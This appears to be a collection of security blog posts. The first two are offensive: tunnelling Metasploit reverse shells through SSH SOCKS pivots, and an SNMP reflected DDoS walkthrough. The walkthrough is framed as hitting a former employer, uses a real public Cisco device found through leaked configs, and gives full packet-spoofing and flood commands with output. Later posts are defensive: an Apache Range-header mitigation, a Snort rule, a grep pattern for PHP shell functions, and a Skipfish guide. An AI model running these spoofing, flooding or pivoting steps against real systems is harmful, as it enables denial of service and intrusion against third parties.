One of my favorite cases (and I believe to many others too) is the OpenSSH Socks Proxy scenario. Remote SSH access to the proxy host is available offering flexible ways to redirect network traffic via the SSH channel. However, there exist a main drawback in the Socks Proxy case, you “can’t” use the available reverse TCP payloads delivered with the Metasploit framework (and any other similar tools). Actually, this is not 100% true. There exist some OpenSSH forward features that can be used/combined to bypass this restriction.

Many of you might say that there exist many alternatives to TCP reverse payloads such as PHP, Java, HTTP, DNS etc. That’s true, although many of them are application specific and are not fully stable under certain circumstances. Additionally, these alternatives might not be always applicable due to some exploitation restrictions.

Some others might also say that Metasploit’s meterpreter pivot features (framework routes + port forward) can be used to redirect traffic through the proxy host, avoiding Socks usage. The drawback in this case is that if the proxy host is a linux box the matching meterpreter payload is not stable enough (at least it wasn’t when this post was written).

Now that you have been convinced that under certain circumstances the Socks proxy is the only stable option, lets see how we can deal with the reverse TCP restrictions.

When a reverse TCP payload is used, the victim host tries to connect back to the requestor’s source IP address. If SSH Socks proxy is used the source IP address from the victim’s perspective is the proxy’s IP address. Consequently, the reverse TCP payload will try to connect back to the proxy and not to the attacker’s address. The Metasploit framework successfully identifies this problem and raises an error exception when a socks proxy is used with a reverse TCP payload.

The main concept to bypass this restriction is to use a forwarding mechanism in the proxy to deliver the network packets to the correct addresses when a reverse connection reaches the proxy. The presented methods are feasible when the following requirements are met:

1. Available remote SSH access to the proxy host (single user or root, each case is analyzed separately)
2. Proxy host has at least one unused firewall incoming (from the victim) allowed port
3. Proxy host can access the target host

For the rest of the article the following network topology will be used for the examine cases:

Initially lets establish the SSH Socks proxy with the pivot host and test the socks proxy connectivity via the proxychains tool:

The SSH socks proxy works and we can use it to access the victim host:

Now if we try to use the Socks proxy with a reverse TCP payload, Metasploit raises an exception:

OpenSSH port forward features can help us to bypass this restriction. Two cases will be examined according to the access level that the attacker has on the proxy host:

1. Root Access: Modify OpenSSH configuration and use the remote port forward feature
2. Single User Access: Use OpenSSH local port forward mechanism by establishing a second SSH channel

For those not familiar with local & remote SSH port forward features you can refer to the end references.

Before continuing lets disable metasploit’s reverse TCP socks proxy check to confirm both test cases under the framework. Lucky for us framework’s modular architecture makes such code hacks easy to implement. So just comment lines 68-70 at “lib/msf/core/handler/reverse_tcp.rb“

1. Root Access to Proxy Host

OpenSSH remote port forwarding feature is used to redirect incoming traffic to port 4444 on proxy host to port 53 on the attacker. As the OpenSSH manuals mentions, by default remote port forwarding will bind the proxy port (4444 in our case) on the localhost address. Binding to localhost will block victim incoming connections. So we need root access to modify the sshd configuration and enable GatewayPorts option.

When the payload is triggered the network paths are as follow:

Before proceeding to the framework usage lets check with some simple netcat connection that the setup works:

If instead of the attacker’s IP address you use the localhost address, the forward channel will work like a charm (actually this is the correct approach), although metasploit’s session manager will fail to identify the connection and will crash. Some tcpdump debugging might help at this point to clarify how this forwarders and port binds work.

Having confirmed that our proxy forwarder works lets proceed to the framework. A linux x86 reverse TCP stagged shell payload has been generated and uploaded to the victim host. To trigger the payload a relative PHP script has been placed at the web path. The tricky part while generating the payload is to use as LHOST the proxy’s IP address and as LPORT the port (4444 in this example) that is forwarded to the attacker by the proxy.

Finally lets trigger the payload via a custom auxiliary module (a single GET request) and establish the reverse connection through the socks proxy:

2. Single User Access to Proxy Host

Single user access to the proxy host means that we can’t set the GatewayPorts option at the SSHD configuration. So we need to find an alternative way to implement the forwarder. This time OpenSSH local port forward feature (-L) is used under a second SSH connection to localhost at the proxy host. The -g flag is used to bind the socket at 0.0.0.0 allowing incoming connections apart from localhost. Consequently the reverse connection path is as follow:

The usual netcat tests before proceeding to the framework:

And finally the socks proxy is also successfully working with reverse TCP payloads under the framework:

Here are all the above screenshots in a slide gallery:

Mission accomplished! We have managed to use reverse TCP payloads under SSH Socks proxies taking advantage of the various OpenSSH features. Of course someone might implement the port forwarding at the proxy host with various other ways (iptables, 3rd party tools etc). The OpenSSH way was chosen because it is already available in the SSH Socks proxy scenario and regularly pass undetected from the sysadmins, while a third party tool might trigger some alerts (of course iptables isn’t feasible in a single user access level case).

It would be ideal if the above concept can be somehow implemented in the metasploit framework, making reverse TCP payloads available under certain socks proxy scenarios.

References:

• http://www.linuxhorizon.ro/ssh-tunnel.html
• http://www.debianadmin.com/howto-use-ssh-local-and-remote-port-forwarding.html
• http://www.metasploit.com
• http://seclists.org/metasploit/2009/q2/143
• http://www.offensive-security.com/metasploit-unleashed/Metasploit_Meterpreter_Basics
• http://www.offensive-security.com/metasploit-unleashed/Pivoting

—{ Update 11 June 2012 }—

Proxy’s port forwarding back to the attacker can be also easily implemented with netcat. Be careful while using the netcat approach at its plaintext connections might trigger IDS/IPS rulesets. For stealthier communications try to establish an encrypted channel with the proxy (ncat, netcat + stunnel etc).

A. Bechtsoudis

Initially ZAP is started and configured to run a localhost HTTP proxy on port 8080.

With the local proxy listening, WeBaCoo’s proxy support can be used to establish the secure connection with the remove web server.

And here are the requests & responses that ZAP captured:

 
A. Bechtsoudis

What about 0-day bugs & exploits in the running snmp services? Yes i have to admit that it is a rare scenario, although not impossible specially for the network devices were we have infrequent or nonexistent OS updates.

But the real security hazard is the actual implementation of the SNMP protocol. In a common SNMP v1 and v2 transaction, the client sends a SNMP request with the relevant OID code and the SNMP server replies with the relevant data. SNMP is a connectionless UDP based protocol making it extremely vulnerable to IP spoofing. Somebody can capture a legitimate SNMP request, alter the source IP with an other and sends the request to the SNMP server on behalf of the edited IP. The response packet will be sent to the new IP address.

Let us assume the following scenario:
I want to conduct a DDoS attack targeting the main server of my ex company. I have scanned large subnets and found out open SNMP services (mostly routers, switches and network printers) knowing their public communities. Then I create a lot of SNMP request packets with victim’s server IP address as source and the list of the public SNMP services as destination addresses. The packet generator runs into loops to create large amounts of SNMP requests on behalf of the victim machine. All the SNMP responses with relevant payload are delivered to the victim server causing congestion and exhaustion to its resources.

The above scenario is the so called “SNMP Reflected Denial of Service“. Of course some ISPs, enterprise border routers and firewalls have mechanisms to prevent IP spoofing, although there exist techniques to bypass them that are beyond the scope of this article.

To present the convenience of the spoofed packet generation, I will present with every detail the whole procedure using the relevant tools.

First of all lets find out a publicly accessed SNMP service. When we talk about SNMP the first that comes to my mind is a Cisco device. The trivial method to discover an open service is to scan large subnets using relevant networking scanning tools. I will use a different approach using pastenum to search into text dump sites. Giving some Cisco configuration strings as input to pastenum, the first result have lead me to the 173.165.68.49 Cisco device.

Now that we have a public community lets create the test network as showed in the following image:

192.168.2.4 is the attacker’s machine.
192.168.2.5 is a test machine in which we will test our scenario before attacking the victim.
192.168.2.7 is the victim server.

Lets create now a simple snmp request using the snmpwalk tool, while in parallel we capture the traffic using the tcpdump tool.

root@192.168.2.4:~# snmpwalk -v 2c -c public 173.165.68.49 1.3.6.1
SNMPv2-MIB::sysDescr.0 = STRING: Cisco IOS Software, C2600 Software (C2600-ADVENTERPRISEK9-M), Version 12.4(17), RELEASE SOFTWARE (fc1)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2007 by Cisco Systems, Inc.
Compiled Fri 07-Sep-07 16:05 by prod_rel_team

root@192.168.2.4:~# tcpdump -nnvvSX -s 0 -i wlan0 -w capture.pcap
tcpdump: listening on wlan0, link-type EN10MB (Ethernet), capture size 65535 bytes 
 
36 packets received by filter
0 packets dropped by kernel

Using wireshark we can have a deeper look into the capture file and more specifically to the SNMP request.

Now that have studied the SNMP request packet form, lets isolate the first SNMP request (packet number 7) using the editcap tool.

root@192.168.2.4:~# editcap -r capture.pcap snmp_req.pcap 7
Add_Selected: 7
Not inclusive ... 7
root@192.168.2.4:~# tcpdump -nnvvSX -r snmp_req.pcap
reading from file snmp_req.pcap, link-type EN10MB (Ethernet)
21:26:47.371943 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 66)
    192.168.2.4.52717 > 173.165.68.49.161: [udp sum ok]  { SNMPv2c { GetNextRequest(23) R=184115647  .1.3.6.1 } }
	0x0000:  4500 0042 0000 4000 4011 8628 c0a8 0204  E..B..@.@..(....
	0x0010:  ada5 4431 cded 00a1 002e 0876 3024 0201  ..D1.......v0$..
	0x0020:  0104 0670 7562 6c69 63a1 1702 040a f961  ...public......a
	0x0030:  bf02 0100 0201 0030 0930 0706 032b 0601  .......0.0...+..
	0x0040:  0500                                     ..

The next step is to change the packet’s source IP address using the bittwiste packet editor which is part of the bittwist project. I will alter the source IP address from 192.168.2.4 to 192.168.2.5 which is an other PC in the subnet that we have access. The bittwiste tool automatically recalculates the new checksum. If you want more details about the tool you can refer to the official documentation.

root@192.168.2.4:~# bittwiste -I snmp_req.pcap -O spoofed_snmp_req.pcap -T ip -p 17 -s 192.168.2.5
input file: snmp_req.pcap
output file: spoofed_snmp_req.pcap
 
1 packets (80 bytes) written
root@192.168.2.4:~# tcpdump -nnvvSX -r spoofed_snmp_req.pcap
reading from file spoofed_snmp_req.pcap, link-type EN10MB (Ethernet)
21:26:47.371943 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 66)
    192.168.2.5.52717 > 173.165.68.49.161: [udp sum ok]  { SNMPv2c { GetNextRequest(23) R=184115647  .1.3.6.1 } }
	0x0000:  4500 0042 0000 4000 4011 8627 c0a8 0205  E..B..@.@..'....
	0x0010:  ada5 4431 cded 00a1 002e 0875 3024 0201  ..D1.......u0$..
	0x0020:  0104 0670 7562 6c69 63a1 1702 040a f961  ...public......a
	0x0030:  bf02 0100 0201 0030 0930 0706 032b 0601  .......0.0...+..
	0x0040:  0500

Now we need to send the new request with the spoofed IP using a packet generator, i choose the bittwist tool. In order to confirm that the answer to the request reaches the spoofed source i will launch a tcpdump capture to the 192.168.2.5 machine.

Firstly i use -d option of bittwist to list the interfaces and then i use the wlan0 device to send the spoofed packet.

root@192.168.2.4:~# bittwist -d
1. eth0
2. wlan0
3. usbmon1 (USB bus number 1)
4. usbmon2 (USB bus number 2)
5. usbmon3 (USB bus number 3)
6. usbmon4 (USB bus number 4)
7. usbmon5 (USB bus number 5)
8. usbmon6 (USB bus number 6)
9. usbmon7 (USB bus number 7)
10. vmnet8
11. usbmon8 (USB bus number 8)
12. any (Pseudo-device that captures on all interfaces)
13. lo
root@192.168.2.4:~# bittwist -i 2 spoofed_snmp_req.pcap
sending packets through wlan0
trace file: spoofed_snmp_req.pcap
 
1 packets (80 bytes) sent
Elapsed time = 0.000143 seconds

root@192.168.2.5:~# tcpdump -nnvvSX -s 0 -i eth0 -w capture.pcap
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
 
19 packets received by filter
0 packets dropped by kernel
root@192.168.2.5:~#
root@192.168.2.5:~# tcpdump -nnvvSX -r capture.pcap | grep SNMP
reading from file capture.pcap, link-type EN10MB (Ethernet)
22:15:20.295633 IP (tos 0x38, ttl 238, id 56597, offset 0, flags [none], proto UDP (17), length 330) 173.165.68.49.161 > 192.168.2.5.52717: [udp sum ok]  { SNMPv2c { GetResponse(283) R=184115647  .1.3.6.1.2.1.1.1.0="Cisco IOS Software, C2600 Software (C2600-ADVENTERPRISEK9-M), Version 12.4(17), RELEASE SOFTWARE (fc1)^M^JTechnical Support: http://www.cisco.com/techsupport^M^JCopyright (c) 1986-2007 by Cisco Systems, Inc.^M^JCompiled Fri 07-Sep-07 16:05 by prod_rel_team" } }

Knowing that our scenario works it is time to launch the actual attack to the target machine. We use again the bittwiste editor to change the source to 192.168.2.7 which is the victim’s IP address.

root@192.168.2.4:~# bittwiste -I snmp_req.pcap -O spoofed2_snmp_req.pcap -T ip -p 17 -s 192.168.2.7
input file: snmp_req.pcap
output file: spoofed2_snmp_req.pcap
 
1 packets (80 bytes) written

In order to see the bandwidth impact results, i will not send only one packet like our previous attempt, instead i will use the infinite loop flag from the bittwist packet generator.

root@192.168.2.4:~# bittwist -i 2 spoofed2_snmp_req.pcap -l 0
trace file: spoofed2_snmp_req.pcap
trace file: spoofed2_snmp_req.pcap
...
 
2061710 packets (164936800 bytes) sent
Elapsed time = 140.923743 seconds

I used the simple bandwidthd monitor tool to measure the bandwidth load. From the following graph it is pretty obvious that ~2M packets from only one source caused a measurable load to the victim machine. We reached a peak of ~40KB/sec while the normal UDP traffic is bellow 4KB/sec

Apart from the network load that i showed, an attacker can cause a service load too. This can be done by changing the SNMP request source port, using a victim’s open UDP port. This attack results in a great load to the running service that knees down the machine.

Conclusions:

It is now pretty obvious from the above facts that publicly accessible SNMP services can cause great loads to victim servers. Attackers can successfully launch DDoS attacks without needing to control large botnets. A few hosts that run the packet generation scripts are enough to conduct an efficient Reflected DDoS attack.
Till now i have never run this attack scenario in a large scale environment to include more details about the SNMP Reflected DDoS results. Although it is in my future plans to conduct a relative research.

PS: If someone have come across with a relative research, I would appreciate if he/she sent me an email with the sources.

DISCLAIMER: I’m not responsible with what you do with this info. This information is for educational purposes only.

A. Bechtsoudis

While the vulnerability is publicly known from August 19, an official advisory haven’t been published yet. Although, a temp workaround must be found in order to avoid regular system crashes. The most efficient and elegant solution that i have read is using the mod_rewrite engine.

Let’s get our hands dirty to see how we can deal with the DoS remote attack.

The target system is an Ubuntu 8.04 with Apache/2.2.8 installation. Initially, i run the perl script to confirm that the system is vulnerable.

Now that we have confirmed that the target is vulnerable, lets apply the rewrite rule. I create a .htaccess file in the httpd docs main folder with the following code:

1
2
3
4
5
6

RewriteEngine On
RewriteLog /var/log/apache2/rewrite.log
RewriteLogLevel 3
RewriteCond %{REQUEST_METHOD} ^(HEAD|GET) [NC]
RewriteCond %{HTTP:Range} ([0-9]*-[0-9]*)(\s*,\s*[0-9]*-[0-9]*)+
RewriteRule .* - [F]

This workaround uses mod_rewrite to forbid GET|HEAD request with multiple ranges in the Range HTTP header. I have also enabled the logging mechanism for debugging reasons.

Now lets see if we have succeed our goal.

Problem solved!

I have also tested the above solution in a Debian Squeeze 64-bit with Apache/2.2.16 installed, and it works like a charm.

Knowing that with the above rule Web Admins can deal with the “Apache Killer”, the final step is to copy it to the apache’s virtualhost configuration.

ps1: A more comprehensive discussion about the apache vulnerability can be found here.
ps2: If i come across with a more efficient workaround or an official patch, i will return with a post update.

—update August 26, 2011 (request-range addition)—

Regular expression has been revised and “Request-Range” case has been added (thanks to Gappy):

1
2
3
4

RewriteEngine on
RewriteCond %{HTTP:range} !(^bytes=[^,]+(,[^,]+){0,4}$|^$) [NC,OR]
RewriteCond %{HTTP:request-range} !(^bytes=[^,]+(,[^,]+){0,4}$|^$) [NC]
RewriteRule .* - [F]

The number 5 is arbitrary. Several 10′s should not be an issue and may be required for sites which for example serve PDFs to very high end eReaders or use things such complex http based video streaming.

Additionally here is an alert rule for Snort IDS:


alert tcp $EXTERNAL_NET any -> any 80 (msg:"INBOUND Apache Killer script: Local web server is under attack."; content:"Range:bytes=0-"; classtype: denial-of-service; threshold: type threshold, track by_src, count 5 , seconds 20; sid:3000005;)


Some other workarounds until the official patch can be found here.

—update August 31, 2011—

Apache version 2.2.20 fixed the bug. The relative official announcement can be found in the official site.

A. Bechtsoudis

After finishing the forensic procedures, I found out that the attacker used the weevely tool to generate the php backdoor shell that he injected in the article. I have never experienced a relative php backdoor incident resulting in a two-day exhaustive investigation. After finding the problem and cleaning the infection, I conducted a little research for php backdoor detection/protection tools & scripts.

In the rest of the article I will summarize the basic steps of detecting and protecting from php malicious code. Of course there exist different approaches in order to detect/protect web malicious activities according to the working framework, although I try to provide a general guideline using tools and procedures that I have used in my working cases.

Step1 – PHP Configuration Security Auditing

PHP is a very powerful programing language but the running configuration must be tweaked very carefully in order to minimize the security holes. There exist several security auditing tools and scripts, but from the ones I have tested I preferred the phpsecinfo tool. phpsecinfo parse the php configuration and generates a web report with detailed information and improvement suggestions.

Here are some screenshots from an example report:

Step2 – Running Web Platform Configuration

Popular web CMS and platforms offer a large amount of extensions and plugins for their users. Inexperienced web developers & web admins tend to use as many as possible plugins, believing that this will make the website more attractive or functional. Although this approach from the security perspective is wrong, because more plugins result in more security risks.

The developers of these famous web platforms follow the latest security exploits and create relative patches, securing the core platform from already known attacks. On the other side, plugins’ source code is not that regularly revised and tested for security holes putting into great danger the whole platform.

Usually, most plugins follow the above rule, although there exist developers that tactically update their plugins’ source code providing sufficient security level. So you must not install unnecessary plugins in your web platform and in case that you have to, carefully investigate plugin’s source code and how it affects the core platform. Additionally, you should manually install the plugins in order to careful look and tweak the configuration variables and paths.

Step3 – Detection Tools & Scripts

PHP backdoor shells use php functions that execute external commands in the host machine. PHP users know these functions, so with a simple grep script someone can detect the files in which such function occur and investigate them to see if their are legitimate or malicious. Here is a simple bash script that searches for system functions, file streams and base64 encrypted code:

1
2
3
4
5
6
7
8
9
10
11
12

#!/bin/bash
 
#------------------------------------------------#
# Search web files for potential malicious code. #
#------------------------------------------------#
 
SEARCH_DIR="/var/www"
PATTERNS="passthru|shell_exec|system|phpinfo|base64_decode|popen|exec|proc_open|pcntl_exec|python_eval|fopen|fclose|readfile"
 
grep -RPl --include=*.{php,txt} "($PATTERNS)" $SEARCH_DIR
 
exit 0

Going one step further from simple search scripts there exist NeoPI. NeoPI is a python script that uses a variety of statistical methods to detect obfuscated and encrypted content within text/script files. I have tested NeoPI in the incident I mentioned, and the tool successfully located the malicious file and put it higher in the rank. Although, based on its statistical methods, NeoPI might put malicious files lower in the rank giving bigger risk percentage to legitimate files and disorientate your investigation.

For more advanced and comprehensive reports someone can turn into a malware scanner. In the incident that I examined I have used the LMD (Linux Malware Detect) scanner. This was the first time I used this tool and I have to say that I am very satisfied with its functionality. To furthermore test the tool, I created four other php backdoors using know scripts from pen-test frameworks, and LMD successfully found all of them.

And of course there exist the powerful ClamAV antivirus but I didn’t have time to setup it and test its results for the php backdoors that I mentioned. Although from what I have read in the web, it is very efficient and have successfully located php backdoors and malware code.

Step4 – Protection

Protection countermeasures are formed using the tools and information from the previous steps. Here are some bullets in the PHP configuration that sysadmins must pay attention:

• allow_url_fopen: PHP file functions are allowed to include remote files from external FTP or HTTP locations. This option is enabled by default installation and is rarely used.
• Dangerous PHP functions: Using the disable_functions field in the php.ini, disable all the dangerous PHP system functions (system, shell_exec, passthru etc) that might be used from malicious codes. Be careful with the rare cases in which some web platforms need some of these function.
• open_basedir: Use this variable in the php.ini configuration to limit file operations to the defined directory and low.
• web user permission: Carefully examine the web user access level and its permission.

By carefully editing the PHP security audit report options, adopting an automate malware detection tool and examining the bullets mentioned above, an adequate security level is established for your running web servers and platforms.

A. Bechtsoudis

Skipfish classifies the discovered risks as high, medium and low. Some of the higher risk ones include:

• Server-side SQL injection (including blind vectors, numerical parameters).
• Explicit SQL-like syntax in GET or POST parameters.
• Server-side shell command injection (including blind vectors).
• Server-side XML / XPath injection (including blind vectors).
• Format string vulnerabilities.
• Integer overflow vulnerabilities.

Skipfish isn’t the only available solution. There exist many free and commercial web scanner vulnerabilities tools (like Nikto2 and Nessus), which sometime have better analysis results. In any case, it’s about time people started taking security seriously, and using a tool like this is a good initial step in the right direction.

Let’s proceed to the installation steps:

1. Download skipfish from the official site.
2. Check downloaded sha1sum with the one from the official site.

   $sha1sum skipfish-1.x.tgz

3. Ensure that your system meet the requirements (if not install the require packages through your OS package manager):
   • libidn11
   • libidn11-dev
   • libssl-dev
   • zlib1g-dev
   • gcc
   • make
   • libc6
   • libc6-dev
4. Extract files.
5. run make to compile the sources. In case of problem read known issues wiki.

After compile has finished, you are strongly advised to read the README-FIRST file, in order to choose the appropriate type of dictionary. As a start if your website application is small, you can use the complete.wl dictionary.

Let’s proceed to the running part.

1. In the skipfish main directory make a copy of the complete dictionary

$cp dictionaries/complete.wl skipfish.wl

2. Create a directory for the output reports.
3. Execute skipfish giving the website url.

$./skipfish -o outputresults http://example.com

4. Hit a key to start the scan.
5. Wait the scan to finish. In case you terminate the scanning process you can see the so far reported risks.
6. Open the index.html report with firefox.

You should then be able to interpret the results easily. Most of the scan results are pretty self-explanatory. It is recommended to pay attention first to high risk vulnerabilities detected by the scan. You can expand those results to read more details.

What to do next? Well you need to educate yourself at understanding and correcting these vulnerabilities, for example if Skipfish is reporting some MySQL injection vulnerabilities in your website you might need to read and learn more about  SQL injection. You can use Google to read more details about that vulnerability.

Here are some screenshots from the tool:

Useful links:

• Skipfish documentation
• Understanding and using skipfish

A. Bechtsoudis